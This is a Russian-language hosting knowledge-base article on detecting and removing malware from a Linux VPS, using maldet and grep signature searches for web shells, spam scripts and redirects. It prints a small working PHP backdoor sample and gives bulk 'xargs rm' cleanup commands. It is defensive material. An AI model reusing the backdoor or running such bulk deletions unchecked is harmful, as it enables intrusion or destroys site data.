База знаний: Linux Server
Поиск вредоносного ПО на VPS
Автор Алексей | HiTex.BY, Последнее изменение: Алексей | HiTex.BY на 07 июля 2017 9:52
Поиск вирусов с помощью Linux Malware Detect

Введение

Linux Malware Detect (LMD) или maldet - это специализированный инструмент для поиска вирусов, спам-скриптов, веб-шеллов и прочего вредоносного кода в файлах сайтов.

Он может создавать отчеты и лечить инфицированные файлы.

Установка

Установка для CentOS и Debian одинакова:

cd /root
wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
tar -zxvf maldetect-current.tar.gz
cd maldetect-*/
bash install.sh

Установочный скрипт кладет исполняемый файл в /usr/local/maldetect/maldet и делает на него символическую ссылку /usr/local/sbin/maldet.

Также скрипт создает файл /usr/lib/libinotifytools.so.0. Создается ежедневное cron-задание в /etc/cron.daily/maldet

Сразу же обновляются базы сигнатур.

Конфигурационный файл: /usr/local/maldetect/conf.maldet

Удаление программы с сервера:

rm -rf /usr/local/maldetect/  /etc/cron.daily/maldet /usr/local/sbin/maldet /usr/local/sbin/lmd

Использование

Запуск сканирования стандартных путей, если у вас установлена панель управления ISPmanager:

maldet -a /var/www/*/data/www

Сканировать только файлы, измененные за последние 5 дней:

maldet -r /var/www/*/data/www 5

По завершении сканирования будет выведено общее количество просканированных файлов, количество инфицированных и количество излеченных файлов.

Также будет выведен номер отчета, который можно посмотреть командой, например:

maldet --report 040515-0743.23617
 

Обновить базы сигнатур:

 
maldet -u
 

Переместить найденные зараженные файлы в карантин (в каталог /usr/local/maldetect/quarantine):

 
maldet -q 040615-0925.31477
 

Вытащить файлы из карантина:

 
maldet -s 040615-0925.31477
 

Пробовать очистить зараженные файлы от вредоносных вставок кода:

maldet -n 040615-0925.31477

Добавить вредоносный код в базу сигнатур maldet:

maldet -c badfile.php

Настройка

Настроим автоматический запуск maldet по ежедневному расписанию cron.

Правим конфиг /usr/local/maldetect/conf.maldet:

# если хотим получать уведомления на почту
email_alert=1
email_subj="maldet alert from $(hostname)"
email_addr="ваша@почта.com"
# помещать файлы в карантин
quar_hits=1
# используем движок clamav для ускорения поиска
clamav_scan=1

Вносим изменения в crontab-файл для того, чтобы сканировались директории с сайтами при установленном ISPmanager:

vi /etc/cron.daily/maldet

Удаляем строки после:

if [ "$(ps -A --user root -o "comm" | grep inotifywait)" ]; then
       /usr/local/maldetect/maldet --alert-daily >> /dev/null 2>&1
else

Вставляем:

       # стандартные пути ISPmanager
       if [ -d "/var/www" ]; then
               /usr/local/maldetect/maldet -b -r /var/www/?/data/www 2 >> /dev/null 2>&1
       fi
fi

Проверка файлов сайтов без установки Linux Malware Detect на сервер

cd /root
wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
tar -zxvf maldetect-current.tar.gz
cd maldetect-1.4.2/files

Устанавливаем значение переменной для разрешения запуска скрипта от пользователя:

vi conf.maldet
public_scan=1

Изменяем каталог, куда должна устанавливаться программа, на текущий каталог. Правим скрипт maldet:

vi maldet

Меняем

inspath=/usr/local/maldetect

на

inspath=$PWD

Запускаем maldet прямо из директории /root/maldetect-1.4.2/files:

./maldet -h

Поиск скриптов, рассылающих спам и файлов ботнета Zeus, Exploit Kit Redirect

Команда, которая не удалит ничего лишнего:

# grep -Rils --include=\*.php -e ' n7b0ecdff' -e 'CmlmKGlzc2V0KCRfUE9TVFsiY29k' ./* | xargs rm

Эта команда найдет возможные спам-скрипты и сохранит их список в файл spam_scripts в директории, где вы сейчас находитесь:

# grep -Rils --include=\*.php -e '\@\$emaillist\=\$_POST' -e '\$emaillist=' -e '\$smtp_username=' -e '\$smtp_password=' -e 'Sender Anonym Email' ./* > spam_scripts

Эта команда найдет различные ботнетовские редиректы, и сохранит их список в файл redirects в директории, где вы сейчас находитесь:

# grep -Rils --include=\*.{php,htm,html} -e 'if(md5(md5(\$' -e 'h1\>Loading...' -e 'b\>Please wait a moment ...\ You will be forwarded. \
<' -e '... Please wait...\<\/h3' -e 'You are here because one of your friends has invited you...\
Redirecting...' -e 'bankofamerica' -e 'http:\/\/hellosomeguys' -e 'rldailynews.com' -e 'http\:\/\/.*doctor.*\.com' -e '\-\-81a338\-\-' -e '\; it.src = ' ./* > redirects

В результате выполнения этих команд, вы получите два списка файлов, которые необходимо вручную проверить: если среди них нет нужных файлов, то вы можете удалить все файлы из списка.

Поиск различных malware скриптов

Эта команда найдет Shell'ы на сайтах, и сохранит их список в файл malware1 в директории, где вы сейчас находитесь.

Так как такая команда может занять довольно продолжительное время, поэтому в ее конце стоит знак &, это позволит продолжить работу с консолью.

# grep -Rils --include=\*.{php,htm,html} -e 'FilesMan' -e 'b=4594' -e 'e2aa4e' -e 'v58f57b98 = 0' -e 'forexam\@pandion.im' -e 'pathToDomains'
 -e 'if(navigator.userAgent.match(' -e 'var vst = String.fromCharCode' -e 'Menu\_files\/jquery.js' -e 'i5463 == null' -e 'r57.gen.tr' -e '\/rsize.js' -e
'feelthesame.changeip.name' -e '40,101,115,110,98,114,105,110' -e 'c99sh' -e 'Shell by' -e ' sh_ver' -e '\.tcpflood' -e 'c999sh' -e 'Array(base64_decode' -e
 'Attacker Perl File' -e 'bogel = ' -e '(\!function_exists(\"getmicrotime\"))' -e'\$d=substr' -e 'WSO ' -e 'r57shell' -e 'msg=
@gzinflate(@base64_decode(@str_replace' -e '6POkiojiO7iY3ns1rn8' -e ' mysql_safe' -e 'sql2_safe' -e 'aHR0cDovLzE3OC4yMTEu' -e 'php function _' -e 'encodeURIComponent(document.URL)
' -e '\; if(isset(\$_REQUEST' -e 'UdpFlood' -e 'udp\:\/\/1.1.1.1' -e '\ (md5(\$_POST\[' -e 'header(\"Location\: http' -e 'fx29sh_' -e 'c999sh_surl' -e 'c99sh' -e '\/request12.php' -e
 'NlOThmMjgyODM0NjkyODdiYT' ./* > malware1 &

Эта команда найдет различные malware в php скриптах на сайтах, и сохранит их список в файл malware2 в директории, где вы сейчас находитесь. Выполнение этой команды, так же как и предыдущей, может занять продолжительное время, поэтому в ее конце стоит &:

# grep -Rils --include=\*.php -e 'JGNvZGUgPSBiYXNlN' -e 'DQplcnJ' -e 'eval(gzinflate(base64_decode' -e 
'eval(gzinflate(str_rot13(base64_decode(' -e 'eval(gzuncompress(base64_decode(' -e 'eNrtfWt72zbS6Of6VyBcZSk1uviSS2vFTl1Haf' -e
'JpdGVDb25kICV7SFRUUF9VU0VSX0FHRU5' -e 'JHNoX2lkID0gIld5QW1aR0ZuWjJWeU95Q' -e 'sDdphXZgsTKddSYnsFVT9EUfRCI' -e 'QBDB51E25BF9A7F3D2475072803D1C36D'
-e 'Yzk5c2hlbGwucGhw' -e 'aHR0cDovL3d3dy5zb21lLWNvZGUvZXhwbG9pdHMuYw' -e 'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kL' -e 'QfgsDdphXZgsTKog2c1x' -e 'QGVycm9yX3JlcG9ydGluZygwKTsg' -e 'JHNoX2lkID0gIlQzZHVaV1'
-e 'rUl6QttVEP58lfoflr' -e 'jVNtT9tADP4' -e 'c2V0X3RpbWVf' -e 'UFycmF5KGJhc2U2NF9kZWNvZGUo' -e 'pZLfasMgFMbvB3sHK4UolLKNXa3r' -e 'nVNdi9swEHw' -e 'JHl5eU5CTnJLZk5TeUdyaX' -e 'JZvHbsRIlkX39SNdBS5okwbd0wV6n'
-e '8\<\[\@7MGLKMs' -e 'DVU1EuQGEHyO70qBWKst' -e '\@432LKMs' -e 'QfgsDdphXZgsTKog' -e 'ZGVmaW5lKCdBS0lTTUVUX1' ./* > malware2 &

Эта команда найдет различные malware в java скриптах на сайтах. Список выведет сразу:

# grep -Rils --include=\*.js -e '\%3C\%73\%63\%72\%69\%70\%74\%20\%74\%79\%70' -e 'kSKlBXYjNXZfhSZwF2YzVmb1h' ./*

Проверка и чистка/удаление найденных скриптов

После получения списка зараженных файлов настало время их почистить.

malware1:

cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils 'FilesMan' | \
xargs grep -Rils "sDdphXZgsTKddSYnsF" | xargs sed -i "" -e "/auth_pass\ =/d" &
cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils 'FilesMan' | \
xargs grep -Rils "sDdphXZgsTKddSYnsF" | xargs sed -i "" -e "/sDdphXZgsTKddSYnsF/d" &
cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils 'FilesMan' | xargs rm &

Следующая команда удаляет скрипты с подобным кодом:

<?php $awff = "a9b193d36245fc6a750a75eb594a3c70"; if(isset($_REQUEST['vpyu'])) { $wwyioqi = $_REQUEST['vpyu'];
eval($wwyioqi); exit(); } if(isset($_REQUEST['yccqdyb'])) { $mhvwg = $_REQUEST['qipseeqy'];
$mvwvjnec = $_REQUEST['yccqdyb']; $gfcked = fopen($mvwvjnec, 'w'); $qllnske = fwrite($gfcked, $mhvwg);
fclose($gfcked); echo $qllnske; exit(); }?>
cat malware1 | xargs grep -Rils ' = fopen(\$' | xargs grep -Rils ' = fwrite(\$' | xargs rm &

Команда, которая удалит веб-шеллы FilesMan:

cat malware1 | xargs grep -Rils 'FilesMan' | xargs grep -Rils 'auth_pass' | xargs rm &

Смотрим для каждого паттерна и по ходу либо чистим файлы, либо удаляем.

cat malware1 | xargs grep -Rils 'b=4594'

malware2:

Чистка кода от возможных вставок:

cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e 's/eval\(base64_decode\(\"DQplcn.*fQ0KfQ\=\="\)\)\;//g' &
cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e 's/eval\(base64_decode\(\"DQplcn.*Cn0NCn0\=\"\)\)\;//g' &
cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e 's/eval\(base64_decode\(\"DQplcn.*DQp9DQp9\"\)\)\;//g' &

Смотрим каждый паттерн отдельно и также либо чистим, либо удаляем файл:

cat malware1 | xargs grep -Rils 'паттерн_из_второй_длинной_команды_из_пункта_3'

Профилактика защиты от вирусов

Не секрет, что чем дальше, тем больше становится вредоносного кода, способного поразить файлы Вашего сайта и все больше способов злоумышленники находят, чтобы получить доступ к файлам сайта.

Не существует панацеи, чтобы "легким движением руки" раз и навсегда избавить свои файлы от печальной участи.

Прежде всего, безопасность Ваших ресурсов зависит именно от Ваших же действий. Вам необходимо снизить шанс заражения сайта вредоносным кодом.

Более подробно рассмотрим некоторые возможности для осуществления этого.

Как предостеречь свои проекты от вредоносного кода, а также себя от нервных срывов

  • Прежде, чем размещать сайт на сервере, проверьте антивирусом все компьютеры, на которых могли находиться файлы сайта и с которых Вы производите администрирование. Делайте проверку регулярно;
  • Используйте новые версии CMS и всех шаблонов/плагинов/скриптов для сайта, регулярно делайте обновления. Обратите также внимание, что nulled-версии (не лицензионные) CMS могут иметь ряд уязвимостей;
  • Используемые пароли - немаловажный пункт. Меняйте пароли периодически и не пренебрегайте правилам безопасности паролей;
  • Старайтесь не размещать несколько сайтов в директории одного пользователя, а по возможности создавайте отдельного пользователя для каждого - так Вы изолируете сайты друг от друга на случай заражения;
  • Возьмите за правило делать резервные копии (бэкапы) сайтов. Как только закончили размещать сайт на сервере и наполнять его контентом, сделайте его бэкап, чтобы Вы всегда смогли восстановить файлы сайта. Обязательно настройте график резервного копирования в панели управления сервером ISPmanager (если Вы используете ее). Инструкция здесь;
  • Слабое место сайта - это директории с правами доступа 777 (например, uploads), куда злоумышленники могут поместить вредоносные скрипты. Запретите исполнение кода с помощью .htaccess в таких директориях. Для этого создайте файл с именем .htaccess в необходимой директории с следующим содержимым:
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
  • В файле конфигурации PHP (php.ini) отключите неиспользуемые функции из списка в опции disable_functions (используемые уберите):
disable_functions = exec, mail, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_sour 
(316 голос(а))
Эта статья полезна
Эта статья бесполезна

Комментарии (0)